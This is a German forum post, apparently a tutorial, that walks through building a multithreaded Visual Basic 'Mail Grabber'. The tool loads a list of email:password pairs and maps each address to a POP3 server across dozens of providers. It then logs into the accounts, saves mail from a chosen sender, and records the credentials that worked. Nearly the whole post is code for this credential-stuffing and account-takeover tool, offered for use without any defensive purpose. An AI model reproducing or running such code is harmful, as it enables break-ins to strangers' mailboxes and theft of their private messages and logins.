Jump to content

[Visual Basic] Mails Empfangen und sortieren mit OpenPOP (Mailgrabber)


Recommended Posts

 Hallo,

da ich hier neu auf dem Forum bin und ich mit Visual Basic und C# (Sharp) arbeite, gebe ich nun ein kleines Tutorial, wie man ein eigenen "Mail Grabber" programmieren kann mit Visual Basic. VB ist dafür gut geeignet.

 

Einleitung

Ihr benötigt OpenPOP.dll und MIMEParser.dll - Download

Visual Studio

Brain.exe

 

Step 1

Legt ein neues Projekt an (Windows-Form Applikation).

Fügt beide DLLs als Verweis hinzu.

Ihr benötigt 3 Textboxen, 3 Buttons, 2 Label und eine Progressbar.

1. Textbox = Mail-Passwort Liste. | 2. Textbox = Ergebnis-Pfad / Speichern der Resultate | 3. Textbox = Menge der Threads.

1. Button = OpenFileDialog öffnen, um Mail-Passwort Liste auszuwählen | 2. Button für den Ergebnis-Pfad | 3. Start Button.

1. Label = Aktueller Thread, der läuft | 2. Label = Wie viele Ergebnisse gefunden wurden.

 

Step 2:

Über der Klasse kommt folgendes:

Imports System.Threading
Imports OpenPOP.Mime
Imports OpenPOP.Pop3

Public Cla....

 

Nun brauchen wir ein paar Variablen, um Einträge machen zu können.

Public Class FormName
Dim MailPasswordList as List(Of String)
Dim ValidListe As New List(Of String)

Dim NeuerThread as Thread
Private Threads As New List(Of Thread)

Dim MailHost As String
Dim Port As Integer

 

 

Jetzt geht ihr zurück in auf die Form und drückt Doppelklick auf den ersten Button und füllen die Mail-Passwort Liste.

Private Sub Button1_Click....
Dim OpenDialog_ As New OpenFileDialog
        OpenDialog_.Filter = "Textdatei (.txt)|*.txt"
        If OpenDialog_.ShowDialog = DialogResult.OK Then
            TextBox1.Text = OpenDialog_.FileName

            MailPasswordList = New List(Of String)
            MailPasswordList.AddRange(File.ReadAllLines(OpenDialog_.FileName))

            ProgressBar1.Value = 0
            ProgressBar1.Maximum = OpenDialog_.Count
        End If
End S....

 

Zurück zur Form und Doppelklick auf Button 2. Nun legen wir Fest, wohin die Valid-Liste gespeichert werden soll.

Private Sub Button2_Cl....
Dim FolderDialog_ As New FolderBrowserDialog

  If FolderDialog_.ShowDialog = DialogResult.OK Then
    TextBox2.Text = FolderDialog_.SelectedPath & "\Programmname"
      If Not My.Computer.FileSystem.DirectoryExists(FolderDialog_.SelectedPath & "\Programmname") Then
          MkDir(FolderDialog_.SelectedPath & "\Programmname")
      End If
  End If
End S...

 

Super! Nun wird die Mail-Passwort geladen und der Speicher-Pfad wurde erfolgreich bestimmt.

Nun fangen wir an, dein Grabber zum Laufen zu bringen! Doppelklick auf Button 3!

    Private Sub Button3_Click....
        If MailPasswordList.Count > 0 AndAlso Not String.IsNullOrEmpty(TextBox1.Text) AndAlso Not String.IsNullOrEmpty(TextBox2.Text) Then
            ValidListe = New List(Of String)
            Button1.Enable = False
            Button2.Enable = False
            Button3.Enable = False
            StartMyThreads()
        End If
    End Sub

 

Nun erstellen wir eine neue Sub, die "StartMyThreads" heißen wird. Dort werden die Threads definiert und "konfiguriert".

 

Private Function SplitIntoChunks(keys As List(Of String), chunkSize As Integer) As List(Of List(Of String))
        Return keys.
        Select(Function(x, i) New With {Key .Index = i, Key .Value = x}).
        GroupBy(Function(x) (x.Index \ chunkSize)).
        Select(Function(x) x.Select(Function(v) v.Value).ToList()).
        ToList()
End Function


    Sub StartMyThreads()
        Dim threadCount As Integer = CType(TextBox3.Text, Int32)
        Dim teileProThread As Integer = CType(Math.Ceiling(MailPasswordList.Count / threadCount), Int32)

        Dim chunks = SplitIntoChunks(MailPasswordList, teileProThread)

        For i = 0 To threadCount - 1
            NeuerThread = New Thread(AddressOf ThreadWorkingSub)
            NeuerThread.Name = i
            NeuerThread.IsBackground = True
            NeuerThread.Start(chunks(i).ToArray())
            Threads.Add(NeuerThread)
        Next

    End Sub

 

Nun kommen endlich die Funktionen, die das Programm zum laufen bringen soll!

    Private Sub ThreaWorkingSub(ByVal abarbeiten As String())
        For Each i As String In abarbeiten
            Me.Invoke(Sub() Label1.Text = i)

            Try
                Dim separator As String = ":"
                Dim split = i.Split(separator, 2, StringSplitOptions.RemoveEmptyEntries)
                Dim DieMailAdresse As String = split(0)
                Dim DasPasswort As String = split(1)

                Dim Endungen As String
                Endungen = DieMailAdresse.ToLower

                'Hab die Liste aus einem anderen Tool entnommen - Erklärt sich alles von selbst
                If Endungen.Contains("@t-online") Then
                    MailHost = "securepop.t-online.de"
                    Port = 995
                ElseIf Endungen.Contains("@gmx.net") Then
                    MailHost = "pop.gmx.net"
                    Port = 995
                ElseIf Endungen.Contains("@gmx.de") Then
                    MailHost = "pop.gmx.net"
                    Port = 995
                ElseIf Endungen.Contains("@web.de") Then
                    MailHost = "pop3.web.de"
                    Port = 995
                ElseIf Endungen.Contains("@web.net") Then
                    MailHost = "pop3.web.de"
                    Port = 995
                ElseIf Endungen.Contains("@aikq.de") Then
                    MailHost = "aikq.de"
                    Port = 995
                ElseIf Endungen.Contains("@aol.com") Then
                    MailHost = "pop.aol.com"
                    Port = 995
                ElseIf Endungen.Contains("@aol.de") Then
                    MailHost = "pop.aim.com"
                    Port = 995
                ElseIf Endungen.Contains("@arcor.de") Then
                    MailHost = "pop3.arcor.de"
                    Port = 995
                ElseIf Endungen.Contains("bluemail.ch") Then
                    MailHost = "pop3s.bluewin.ch"
                    Port = 995
                ElseIf Endungen.Contains("@directbox.com") Then
                    MailHost = "pop3.directbox.com"
                    Port = 995
                ElseIf Endungen.Contains("@eclipso.de") Then
                    MailHost = "mail.eclipso.de"
                    Port = 995
                ElseIf Endungen.Contains("@firemail.de") Then
                    MailHost = "firemail.de"
                    Port = 995
                ElseIf Endungen.Contains("@freenet.de") Then
                    MailHost = "mx.freenet.de"
                    Port = 995
                ElseIf Endungen.Contains("@freenet.net") Then
                    MailHost = "mx.freenet.de"
                    Port = 995
                ElseIf Endungen.Contains("@gmail.com") Then
                    MailHost = "pop.gmail.com"
                    Port = 995
                ElseIf Endungen.Contains("@googlemail.com") Then
                    MailHost = "pop.gmail.com"
                    Port = 995
                ElseIf Endungen.Contains("@me.com") Then
                    MailHost = "imap.mail.me.com"
                    Port = 993
                ElseIf Endungen.Contains("@mail.de") Then
                    MailHost = "pop.mail.de"
                    Port = 995
                ElseIf Endungen.Contains("@mailbox.org") Then
                    MailHost = "pop3.mailbox.org"
                    Port = 995
                ElseIf Endungen.Contains("@BigCityMail.de") Then
                    MailHost = "mail.mexmail.de"
                    Port = 995
                ElseIf Endungen.Contains("@mexmail.de") Then
                    MailHost = "mail.mexmail.de"
                    Port = 995
                ElseIf Endungen.Contains("@office365.com") Then
                    MailHost = "outlook.office365.com"
                    Port = 995
                ElseIf Endungen.Contains("@Outlook.com") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@Outlook.de") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@live.com") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@live.de") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@live.net") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@hotmail.net") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@hotmail.de") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@hotmail.com") Then
                    MailHost = "pop-mail.outlook.com"
                    Port = 995
                ElseIf Endungen.Contains("@mailbox.org") Then
                    MailHost = "pop3.mailbox.org"
                    Port = 995
                ElseIf Endungen.Contains("@smart-mail.de") Then
                    MailHost = "pop.smart-mail.de"
                    Port = 995
                ElseIf Endungen.Contains("@sxmail.de") Then
                    MailHost = "pop3.sxmail.de"
                    Port = 995
                ElseIf Endungen.Contains("@yahoo.com") Then
                    MailHost = "pop.mail.yahoo.com"
                    Port = 995
                ElseIf Endungen.Contains("@upcmail") Then
                    MailHost = "mail.upcmail.at"
                    Port = 995
                ElseIf Endungen.Contains("@ewe.net") Then
                    MailHost = "pop.ewe.net"
                    Port = 995
                ElseIf Endungen.Contains("@kabelmail.de") Then
                    MailHost = "pop3.kabelmail.de"
                    Port = 995
                ElseIf Endungen.Contains("@kabelhomepage.de") Then
                    MailHost = "pop.kabelhomepage.de"
                    Port = 995
                ElseIf Endungen.Contains("@mdcc-fun.de") Then
                    MailHost = "mail.mdcc-fun.de"
                    Port = 995
                ElseIf Endungen.Contains("@netaachen.de") Then
                    MailHost = "pop3.netaachen.de"
                    Port = 995
                ElseIf Endungen.Contains("@netcologne.de") Then
                    MailHost = "pop3.netcologne.de"
                    Port = 995
                ElseIf Endungen.Contains("@o2online.de") Then
                    MailHost = "pop3.o2online.de"
                    Port = 995
                ElseIf Endungen.Contains("@osnanet.de") Then
                    MailHost = "pop.osnanet.de"
                    Port = 995
                ElseIf Endungen.Contains("@pyur.net") Then
                    MailHost = "pop3.pyur.net"
                    Port = 995
                ElseIf Endungen.Contains("@unity-mail.de") Then
                    MailHost = "mail.unity-mail.de"
                    Port = 995
                ElseIf Endungen.Contains("@vodafonemail.de") Then
                    MailHost = "pop.vodafonemail.de"
                    Port = 995
                ElseIf Endungen.Contains("@wtnet.de") Then
                    MailHost = "mail.wtnet.de"
                    Port = 995
                End If

                Dim pop3 As New Pop3Client
                pop3.Connect(MailHost, Port, True)
                pop3.Authenticate(DieMailAdresse, DasPasswort)

                For ii As Integer = 1 To pop3.GetMessageCount
                    Dim m As OpenPOP.Mime.Header.MessageHeader = pop3.GetMessageHeaders(ii)
                        If m.From.Address.Contains("Nach welcher Mail gesucht werden soll") Then
                            Try : MkDir(TextBox2.Text & "\" & DieMailAdresse) : Catch ex As Exception : End Try

                            Dim ZufallsZahl As New Random
                            Dim DieZufallsZahl As Integer
                            DieZufallsZahl = ZufallsZahl.Next(10000000, 999999999)

                            'Wird die Nachricht laden
                            Dim mm As OpenPOP.Mime.Message = pop3.GetMessage(ii)
                            Try
                            'Mail abspeichern mit Betreff
                                FindHtmlInMessage(mm, TextBox2.Text & "\" & DieMailAdresse & "\" & m.Subject & " [" & DieZufallsZahl & "].html")
                            Catch ex As Exception
                            'Falls Betreff Zeichen hat, die nicht zugelassen werden als Dateiname, anders abspeichern
                                FindHtmlInMessage(mm, TextBox2.Text & "\" & DieMailAdresse & "\" & DieZufallsZahl & ".html")
                            End Try

                'Login Daten abspeichern
                Dim AbSpeicherZeilen As New StringBuilder
                AbSpeicherZeilen.AppendLine("Mail: " & DieMailAdresse)
                AbSpeicherZeilen.AppendLine("Password: " & DasPasswort)
                ValidListe.Add(AbSpeicherZeilen.ToString())
                File.WriteAllLines(Path.Combine(TextBox2.Text & "\" & DieMailAdresse, "AnmeldeDaten.txt"), ValidListe.ToArray())

                        End If
                    Next


                   ProgressBar1.Invoke(Sub() ProgressBar1.Increment(1))
                pop3.Disconnect()
            Catch ex As Exception
                   ProgressBar1.Invoke(Sub() ProgressBar1.Increment(1))
            End Try
                Next


        Threads.Remove(Thread.CurrentThread)
        ThreadFinishedWork()
End Sub

 

Nun werden wir den Schluss noch definieren. Wir brauchen eine Sub, die sagt, wann die Liste erfolgreich abgearbeitet wurde.

 

    Public Sub ThreadFinishedWork()
        If Threads.Count > 0 Then Return
           MessageBox.Show("Liste wurde abgearbeitet!", "Done", MessageBoxButtons.OK)
           ProgressBar1.Invoke(Sub() ProgressBar1.Value = 0)
    End Sub

 

 

Herzlichen Glückwunsch! Du hast deinen eigenen "Mail Grabber" programmiert.

Alles etwas unsauber geschrieben und nicht gut erklärt aber wer sich ein bisschen damit auseinander setzt, wird es schon verstehen 🙂

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...